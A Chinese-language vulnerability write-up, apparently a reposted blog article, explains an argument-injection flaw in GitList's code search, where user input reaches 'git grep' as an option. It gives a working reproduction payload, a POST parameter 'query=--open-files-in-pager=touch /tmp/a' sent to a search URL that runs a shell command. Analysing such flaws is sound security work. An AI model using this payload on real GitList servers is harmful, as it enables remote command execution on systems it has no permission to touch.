Gitlist
gitlist是一款使用PHP開發的圖形化git倉庫查看工具,

思路
在用戶對倉庫中代碼進行搜索的時候,gitlist將呼叫git grep命令:
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
其中,$query是搜索的關鍵字,$branch是搜索的分支,知道grep函式的應該就能看懂,從分支里面搜索關鍵字,
為什么會出現這個漏洞,首先這里經過escapeshellarg處理后就會變成能正常執行的shell引數,如果用戶輸入的$query = --open-files-in-pager=id;是作為-e的引數去執行,那就是正常的,也就是說這只是一個字串,一個附帶的引數值,就像這樣
git grep -i --line-number -e '--open-files-in-pager=id;' master
但--open-files-in-pager=id;如果直接作為grep的引數,那就可以執行<id>命令
git grep -i --line-number --open-files-in-pager=id; master
對于兩個引數的解釋看手冊git-grep(1) Manual Page
漏洞復現
這里我們改成POST包,訪問/example/tree/a/search,其中example是專案名稱,需要是目標gitlist上一個已存在的專案;a在正常情況下應該是分支的名稱,也就是"grep -i --line-number {$query} $branch"中的$branch,但因為我們的$query被當成了一個引數,所以$branch就應該被當做搜索的關鍵字,關鍵字如下,

抓包添加POST引數
query=--open-files-in-pager=touch /tmp/a

進入后臺查看,執行成功

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/330118.html
標籤:其他
上一篇:知道創宇云監測—ScanV MAX更新:Apache httpd、Jenkins、Kibana等13個漏洞可監測
